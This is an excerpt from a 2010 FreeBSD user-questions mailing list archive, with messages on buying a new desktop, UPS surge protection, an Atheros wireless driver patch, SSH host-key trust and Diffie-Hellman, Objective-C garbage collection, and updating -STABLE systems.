04:04:28 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.27]) by mx1.freebsd.org (Postfix) with ESMTP id B04EF8FC1B for ; Wed, 10 Mar 2010 04:04:27 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so199980qwi.7 for ; Tue, 09 Mar 2010 20:04:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=O8TyIpOio2Td9j5AvkBfBzW6w8FsEfCeLlUbY0UJuF0=; b=DWjdIxUR3JJI9/Al+r13KeVCniUj6cuExlsw4ZsQcQujWLezgwzH4x0+Rxr2EqBLRx gq+NFsxJ/zmW7Zs4ES48RpDVRhySGBOc3fl5L8i4TcZDKBb6fAWb/h4Izy9k/FRueHoz 8oaxs8CGioY3/nlLiIzr27iJgZPPJMbBgifqY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=Qg8owVxdxfO3sELajGwv1m/g0Gx9HTPbuoaDd+GTrY5b1jWGeXi/oAKGx+ganwNRtk OsuqMlo+L6qiDuxz/yxUGG0CffofpNZOXDt/qgAtDZ0TLkVdgNuAwyCtdeGUUTwN+n3m kKnPgolsqqr3+MRzpvi2k6GDgCD3QV5Kb4kWk= MIME-Version: 1.0 Received: by 10.229.130.205 with SMTP id u13mr933636qcs.47.1268193866709; Tue, 09 Mar 2010 20:04:26 -0800 (PST) In-Reply-To: <20100310033452.GA2223@thought.org> References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> <20100310033452.GA2223@thought.org> Date: Tue, 9 Mar 2010 22:04:26 -0600 Message-ID: <6201873e1003092004y5e1a7c5and97c8eb849619961@mail.gmail.com> From: Adam Vande More To: Gary Kline Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: FreeBSD Mailing List , Al Plant Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 04:04:28 -0000 On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline wrote: > Aloha Al and thanks for responding. {god this has been a > long day... . ............} > > Well, long-story-short, the most unepect thing happened: a > power surge. I did not realize that my printer was also off > until hours later. A friend helped me trace the problem and > reset my surgge-protector. ---It is worth noting that BEFORE > I got my battery [UPS], when things were dead or suddenly > went dead, i knew right away to check the surge-protector. > > nutshell: things are almost back. it'll be only an hour > before everything is back. > > still, this is a warning to get back on the ball and start > looking for a new desktop. > > i would be much obliged for ideas on what kind of dell to buy > next. i say 'dell' because i would like to make life simple > and eventually have one kind of box. (i have three tower > computers: one is my DNS/mail/web server; one is my pfSense > firewall; one is my laptop. i COULD use the server as a > desktop, but that would be too much of a risk! > > so:: should i be looking for a dual or quad? ----i am biased > toward intel because i think the AMD requires more juice. [[my > only linux server --long dead-- seemed to suck 100w to 107w as > a minimum.]] > > suggestions? > I don't really think much of Dell consumer level products or support. While they aren't the worst out there, it still doesn't make it very compelling for me. Depending on your resources(money) you might consider something like this: http://www.ixsystems.com/apollo While more money than you'd probably spend with dell, here's a couple reasons to consider it further. 1. Out the Box compatibility 2. Great hardware support/warranty service 3. Vendor backing of your OS 4. Long term upgradability, this will serve you better than any emachine. 5. ixsystems is a large supporter of FreeBSD I believe the TCO of something like that is lower than most alternatives. One further thought is I don't see a lot sense in the requirement "must be a dell, cause the other ones I have are dell" given the amount of machines you run. To me, it would make more sense to standardize on something like cpu, so that you could run one as a build system/package repository. I know that settling on one vendor generally means you only need one source for warranty work, but with stickers on cases and online accounts this isn't such an issue anymore. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 05:32:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D51F7106564A for ; Wed, 10 Mar 2010 05:32:59 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 8E94D8FC0A for ; Wed, 10 Mar 2010 05:32:59 +0000 (UTC) Received: by gyg8 with SMTP id 8so2517034gyg.13 for ; Tue, 09 Mar 2010 21:32:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=qxPaTyFzTTZWXZca2p4xVm99mcv2muDG3JO9q+noaCQ=; b=pSLXeFa5XEZkVhSF41ZmeCoiE2sSozGyanM6joSgiuOob1a1P+qERh/SB5nRQBHs8b ii2TNWI18ZvEeqEalfNkFAH65sOLljonHXdkYY7/ktJxfJxVm+it5xXS/qEmi6eR8CfU 59pPqkadA5/XfUFDuh6b+LKoBxDQRQuTu5K6s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=OSGW0fUw+l6E8u9gg8Os4gA3uNNpqLmilT9jGxVzijWnQqbFwdY8m+ChfwBEMTHmPZ IdgQl+q4DeDcpwQRDaYhSB37IlILzMqsQp7zifuwfqWvTKVGlSMnceqVboAyQbzlPRbD wRFmbMAhCYWAGYKbZy1+T/ok3WiXRdVXz09f4= MIME-Version: 1.0 Received: by 10.151.131.8 with SMTP id i8mr585650ybn.338.1268199178557; Tue, 09 Mar 2010 21:32:58 -0800 (PST) In-Reply-To: <970380131003092000x59dff83ciaacb88de615e833d@mail.gmail.com> References: <4B6E7C00.60203@colannino.org> <970380131003092000x59dff83ciaacb88de615e833d@mail.gmail.com> Date: Tue, 9 Mar 2010 23:32:58 -0600 Message-ID: <970380131003092132o4f07482bl653ceffcd6576a02@mail.gmail.com> From: Jason Garrett To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: rpaulo@freebsd.org Subject: Re: The Atheros 9285 patch on 8.0-stable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 05:32:59 -0000 On Tue, Mar 9, 2010 at 22:00, Jason Garrett wrote: > > > On Sun, Feb 7, 2010 at 02:38, James Colannino wrote: > >> Hey everyone, >> >> I have an Asus EEE PC 1005HA, which has an Atheros 9285 wireless chipset. >> I discovered that Rui Paulo wrote a driver, and put up a patch for the 8.0 >> stable kernel here: >> >> http://people.freebsd.org/~rpaulo/ar9285_stable_8.diff >> >> It seems to have worked for some people. After patching and re-compiling >> my kernel, it did manage to detect the device on my machine, but >> unfortunately, I'm unable to scan for networks or associate with my network. >> Here's what happens: >> >> The machine boots, and I see the ath0 interface when I run ifconfig. I >> then run the command 'ifconfig wlan0 create wlandev ath0' and successfully >> create wlan0. However, when I run the command 'ifconfig wlan0 scan', the >> command doesn't seem to do anything, and I eventually have to CTRL-C it. >> >> Has anybody else had this problem? Is it a known issue? Maybe I'm doing >> something wrong? It was mentioned that testers were needed for this driver, >> and I'd love to help out if possible. If anybody wants me to send any >> additional information, just let me know. >> >> Thanks so much everyone! >> >> James >> >> Sorry to dredge up an old thread, but has this driver been committed to > STABLE yet, or do we still need to apply the patch? I am about to embark on > installing FreeBSD on this exact model with the exact wifi chip. > Also CC'ing rpaulo@ to have his input. > _____________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to " >> freebsd-questions-unsubscribe@freebsd.org" >> > > From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 06:13:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 24140106566B for ; Wed, 10 Mar 2010 06:13:11 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id F21DF8FC18 for ; Wed, 10 Mar 2010 06:13:10 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id o2A6D4aP090995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 9 Mar 2010 22:13:05 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id o2A6D4Ov090992; Tue, 9 Mar 2010 22:13:04 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA16747; Tue, 9 Mar 10 22:11:04 PST Date: Tue, 09 Mar 2010 22:16:12 -0800 From: perryh@pluto.rain.com To: Olivier.Nicole@cs.ait.ac.th Message-Id: <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> In-Reply-To: <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 06:13:11 -0000 Olivier Nicole wrote: > > What happened to Diffie-Hellman? Last I heard, its whole > > point was to enable secure communication, protected from both > > eavesdropping and MIM attacks, between systems having no prior > > trust relationship (e.g. any sort of pre-shared secret) ... > > I am not expert in cryptography ... Nor am I > but logic tends to tell me that is I have no prior knowledge about > the person I am about to talk to, anybody (MIM) could pretend to > be that person. > > The pre-shared information need not to be secret ... but there is > need for pre-shared trusted information. Er, if the pre-shared information is not secret, how can I be sure that the person presenting it is in fact my intended correspondent and not a MIM? My impression is that Diffie-Hellman (somehow) solves this sort of problem. From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 07:23:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6FA0B1065672 for ; Wed, 10 Mar 2010 07:23:38 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id D46328FC23 for ; Wed, 10 Mar 2010 07:23:37 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2A7NU8D077682 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 10 Mar 2010 07:23:31 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9748F2.6060707@infracaninophile.co.uk> Date: Wed, 10 Mar 2010 07:23:30 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Gary Kline References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> <20100310033452.GA2223@thought.org> In-Reply-To: <20100310033452.GA2223@thought.org> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: FreeBSD Mailing List , Al Plant Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 07:23:38 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 10/03/2010 03:34:52, Gary Kline wrote: > Well, long-story-short, the most unepect thing happened: a > power surge. I did not realize that my printer was also off > until hours later. A friend helped me trace the problem and > reset my surgge-protector. ---It is worth noting that BEFORE > I got my battery [UPS], when things were dead or suddenly > went dead, i knew right away to check the surge-protector. Uh -- if you have a UPS, why are you using a surge protector as well? The function of a UPS is to condition your power supply. It puts out clean 110/220V 50/60Hz power (depending on where you live) irrespective of what it is getting from the mains. That is, the UPS also does all the surge protection function itself. Not only that, it should cope with surges by absorbing them, rather than blowing a circuit breaker, so it carries on running after the surge is over. Admittedly some UPS designs are better than others -- inline UPSes are the best, but tend to be more expensive. These work by converting the input to DC and then converting back to AC. Cheaper UPSes monitor the characteristics of the incoming current and switch to battery power if it is out of specification, which is not really failsafe. Also, didn't your UPS sound the alarm? They are normally too loud to ignore easily. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkuXSPIACgkQ8Mjk52CukIwEOwCfWQN0avDyhhKwrP9THpWkd4Na 5i0Ani14kuI9kYx2RF9x5gOJf/Khcb+I =32IO -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 07:33:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0E01F1065673 for ; Wed, 10 Mar 2010 07:33:13 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id AF9008FC18 for ; Wed, 10 Mar 2010 07:33:12 +0000 (UTC) Received: from beta.local (ppp-82-135-69-100.dynamic.mnet-online.de [82.135.69.100]) by mail.locolomo.org (Postfix) with ESMTPSA id 1E8001C0871 for ; Wed, 10 Mar 2010 08:33:10 +0100 (CET) Message-ID: <4B974B35.2010900@locolomo.org> Date: Wed, 10 Mar 2010 08:33:09 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> In-Reply-To: <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 07:33:13 -0000 On 10/03/10 07:16, perryh@pluto.rain.com wrote: >> but logic tends to tell me that is I have no prior knowledge about >> the person I am about to talk to, anybody (MIM) could pretend to >> be that person. True. Cryptography by it self does not solve the identity problem. >> The pre-shared information need not to be secret ... but there is >> need for pre-shared trusted information. > > Er, if the pre-shared information is not secret, how can I be sure > that the person presenting it is in fact my intended correspondent > and not a MIM? My impression is that Diffie-Hellman (somehow) solves > this sort of problem. The preshared information, in this case the key fingerprint, is a fingerprint of the public key, without this, you cannot produce the fingerprint. Yes, the fingerprint is calculated from the public key, which is .. er .. public, but that's not a problem since anything encrypted with the public key can only be decrypted by the owner of the private key. In the session setup public keys are exchanged, on the basis of this key you calculate the fingerprint and compare with the one you have stored. If they do not match, connection is closed. So, the MIM attack must be launched the very first time a user connects. This is where the user trusts the identity of the owner of the private key. The known_hosts file is only kept so you don't have to verify and trust the key every time. If you worry about that kind of attack, then you should provide a method for verifying the fingerprint through a different channel, say users call support and have them read out the fingerprint, publish it on some separate server, or pre-install it on their computer when the account is created. Diffie-Hellman does not solve this problem. DH is a protocol for agreeing on a shared secret in public, but it does not solve the identity problem. BR, Erik -- Erik Nųrgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 09:01:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 893E21065678 for ; Wed, 10 Mar 2010 09:01:01 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id 47B0A8FC15 for ; Wed, 10 Mar 2010 09:01:01 +0000 (UTC) Received: by qyk14 with SMTP id 14so3182851qyk.9 for ; Wed, 10 Mar 2010 01:01:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=k77NKwHmgh5JIo5kbszK3bxFhxvoLAtYL4isX6rPOkI=; b=t7/uGF6qIqlbQuo2+XeC0eIz6x0DbGtT6rYR36CtL8MTnBXmPXbSqwpBz17XuBBuPD rj1MOgfkjCCEL1ZKuIjd7rUol3WQsolq5/XrrW3tpR31O9Ct62qJzDjZwm5AtItX2npq NjcISXO5fCjzXm2hB109uDeJShRyZ7VlZrf1I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=KqmdboTBZKaaIxpEc5+Xjbs/LyWeiAG6qaKtYb5VD0iSwiH6vQiFxec0LKkTlWQbHO X2lp3CS/ZYOdRldren2g0BKVheQQ+UXBgXiCR1aZNJ2LFD6wArOVc8Q4KDLf/ZjMue6y VJNl3+pIACkn/MB5cOos1rv1OW82/tiY7e9Pg= MIME-Version: 1.0 Received: by 10.229.44.5 with SMTP id y5mr1186372qce.11.1268211659121; Wed, 10 Mar 2010 01:00:59 -0800 (PST) Date: Wed, 10 Mar 2010 01:00:59 -0800 Message-ID: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> From: Nerius Landys To: FreeBSD Mailing List Content-Type: text/plain; charset=ISO-8859-1 Subject: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 09:01:01 -0000 Running FreeBSD 8.0 32 bit PAE kernel, latest ports. My current hobby is to experiment more with Objective-C. I'm rewriting some of my old Java code in Objectve-C to get a better feeling for how this language works. I'm finally able to write, compile, and run Objective-C programs after learning about this the whole day. i noticed that the gcc42 compiler from ports is necessary as it contains the parts that are able to compile Objective-C. I realized that gcc43, gcc44, and gcc45 from ports are _not_ able to compile Objective-C. So my real question is this. The supposed feature called "garbage collection" that eliminates the need for "retain" and "release" syntax in Objective-C - has anyone gotten it to work? Frankly, I'm not even sure if Objective-C framework on my FreeBSD server is supporting Objective-C 2.0 or an older version; I have not gotten as far as knowing which language constructs exist in 2.0 but not in earlier versions. But for right now I'm just trying to get automatic garbage collection to work, which I know is a new feature in 2.0. So, I've written a simple program that instantiates objects over and over again, and loses references to them. Like so: #import "GarbageObj.h" int main(int argc, const char *argv[]) { while (YES) { GarbageObj *obj = [[GarbageObj alloc] init]; [obj foo]; // foo is does literally nothing. } return 0; } I am compiling this program and running it, and without the "release" calls there, it certainly is using up more and more memory every second. Definitely no garbage collection happening. I then modified the GNUmakefile to make sure that the option "-fobjc-gc" was being passed to gcc, and verbose output from make assured me that this was the case. However, my program sill did not garbage collect (3 gigs of RAM, then a segfault). I then tried the gcc option "-fobjc-gc-only" and gcc42 reported that it did not recognize that option. The options are described here: http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html . So, I can't really try the newer compilers from ports because they don't do Objective-C, and even so, I don't know if that would have any effect on garbage collection. Has anyone had success in writing Objectve-C programs on FreeBSD that have automated garbage collection? Does anyone know if this is Objective-C 2.0 I'm dealing with? How do I get this to work? For reference, here is a diff of packages installed today as a result of trying out Objective-C: > aspell-0.60.6_2:textproc/aspell > cups-client-1.4.2_4:print/cups-client > ffcall-1.10_1:devel/ffcall > fontconfig-2.8.0,1:x11-fonts/fontconfig > gcc-4.2.5.20090325_2:lang/gcc42 > giflib-nox11-4.1.6:graphics/giflib > gnustep-back-0.17.1_1:x11-toolkits/gnustep-back > gnustep-base-1.19.3:lang/gnustep-base > gnustep-gui-0.17.1_1:x11-toolkits/gnustep-gui > gnustep-make-2.2.0_1:devel/gnustep-make > gnutls-2.8.3:security/gnutls > jbigkit-1.6:graphics/jbigkit > libXft-2.1.14:x11-fonts/libXft > libXrender-0.9.4_1:x11/libXrender > libaudiofile-0.2.6_1:audio/libaudiofile > libgmp-4.3.2:math/libgmp4 > mpfr-2.4.2:math/mpfr > portaudio-19.20071207:audio/portaudio2 > renderproto-0.9.3:x11/renderproto > tiff-3.9.2_1:graphics/tiff - Nerius From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:05:52 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DFDE8106564A for ; Wed, 10 Mar 2010 10:05:52 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mailout-eu.gmx.com (mailout-eu.gmx.com [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id 349E28FC08 for ; Wed, 10 Mar 2010 10:05:52 +0000 (UTC) Received: (qmail invoked by alias); 10 Mar 2010 10:05:50 -0000 Received: from adsl-155.79.107.65.tellas.gr (EHLO [192.168.73.195]) [79.107.65.155] by mail.gmx.com (mp-eu004) with SMTP; 10 Mar 2010 11:05:50 +0100 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1+e5PkbdSmegMSOakXN3Z+zMQTn2lKiColyE9WhIO ruZtpRmsQUJoqN Message-ID: <4B976ED8.4090302@gmx.com> Date: Wed, 10 Mar 2010 12:05:12 +0200 From: Nikos Vassiliadis User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: FreeBSD Mailing List Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.70999999999999996 Subject: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:05:53 -0000 Hi, I am interested in buying a laptop from the Dell Inspiron 15 series. Most of them are having a wifi card branded as 'Dell Wireless 1397'. Is there a driver for this? I would prefer a native driver, but success stories using it with NDIS or other general comments regarding the Dell Inspiron 15 series are welcome. Thanks, Nikos From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:07:03 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 949701065674 for ; Wed, 10 Mar 2010 10:07:03 +0000 (UTC) (envelope-from ricardo.meb.jesus@gmail.com) Received: from gate.criticalsoftware.com (gate.criticalsoftware.com [62.28.132.186]) by mx1.freebsd.org (Postfix) with ESMTP id 4E9288FC19 for ; Wed, 10 Mar 2010 10:07:03 +0000 (UTC) Received: from [192.168.1.98] (unknown [192.168.1.98]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by gate.criticalsoftware.com (Postfix) with ESMTP id A1C0222858A; Wed, 10 Mar 2010 10:07:00 +0000 (WET) Message-ID: <4B976F42.6040001@gmail.com> Date: Wed, 10 Mar 2010 10:06:58 +0000 From: Ricardo Jesus User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091204 Lightning/1.0b2pre Thunderbird/3.0 MIME-Version: 1.0 To: RW , freebsd-questions@freebsd.org References: <20100309160734.GB1190@gmail.com> <20100309165740.1f2b4ff8@gumby.homeunix.com> <20100309175809.GC1753@gmail.com> In-Reply-To: <20100309175809.GC1753@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: Re: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ricardo.m.jesus@criticalsoftware.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:07:03 -0000 On 09/03/2010 17:58, Pongthep Kulkrisada wrote: > * RW (rwmaillists@googlemail.com) wrote: >> that should be RELENG_8_0 > Sorry for typo, but actually I only appended to the existing supfile. > Thing goes well. > >> Stable is a stable development branch, if you want to use >> freebsd-update you need to use a proper release security branch. > Does that mean -STABLE can not use freebsd-update? > If so, I am clear now because I encountered the problem > when I used freebsd-update from -STABLE. It failed. > > Thanks, > Pongthep > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > If you're using STABLE you won't be able to update the base system using freebsd-update, use csup for that purpose. Also have a look to freebsd-update man page, the Description section explains the tool's purpose. From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:13:34 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E3FDF1065673 for ; Wed, 10 Mar 2010 10:13:34 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.153]) by mx1.freebsd.org (Postfix) with ESMTP id 79B2F8FC20 for ; Wed, 10 Mar 2010 10:13:34 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so2592797fge.13 for ; Wed, 10 Mar 2010 02:13:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=xaGeeR6Rhz05K0NZIsUSkDgpAGE5WTPsoOqJGDXoRsg=; b=nQqAAjpDlkau+gFKEHf0U7c2iU1cVeCfwFcILcgi9xWsrwbA2ZRteRSvYFSS8KWCer W1u19dYoPfk6NkBFrxl51PZ1+T4LXq2xvAHptHvPxT1HwD1Zf5tccD2cOBtEZ1MXEwe7 FSzBb0WNDQmkq4spAqeO2tU3aM1haSRTP8+Gw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=a7jBIc+x3AnuHe2hZ3fL0VJlIdtUUJ2Iet/ifYMQhQyiocwAFNV2h9YNw/KnTdHVVB eNjj2jWtCTjLZgrq/MY69ctNebrygIaaLi3u53Ez7bohFCcaK7ZQzcgzHcwZM4dbDTvw p/pByfrjDrRC3ixuYNIibRpcAdTA/IwhEwudc= MIME-Version: 1.0 Received: by 10.239.192.79 with SMTP id d15mr122557hbi.52.1268216013304; Wed, 10 Mar 2010 02:13:33 -0800 (PST) In-Reply-To: <4B976ED8.4090302@gmx.com> References: <4B976ED8.4090302@gmx.com> Date: Wed, 10 Mar 2010 10:13:33 +0000 Message-ID: From: George Liaskos To: Nikos Vassiliadis Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: 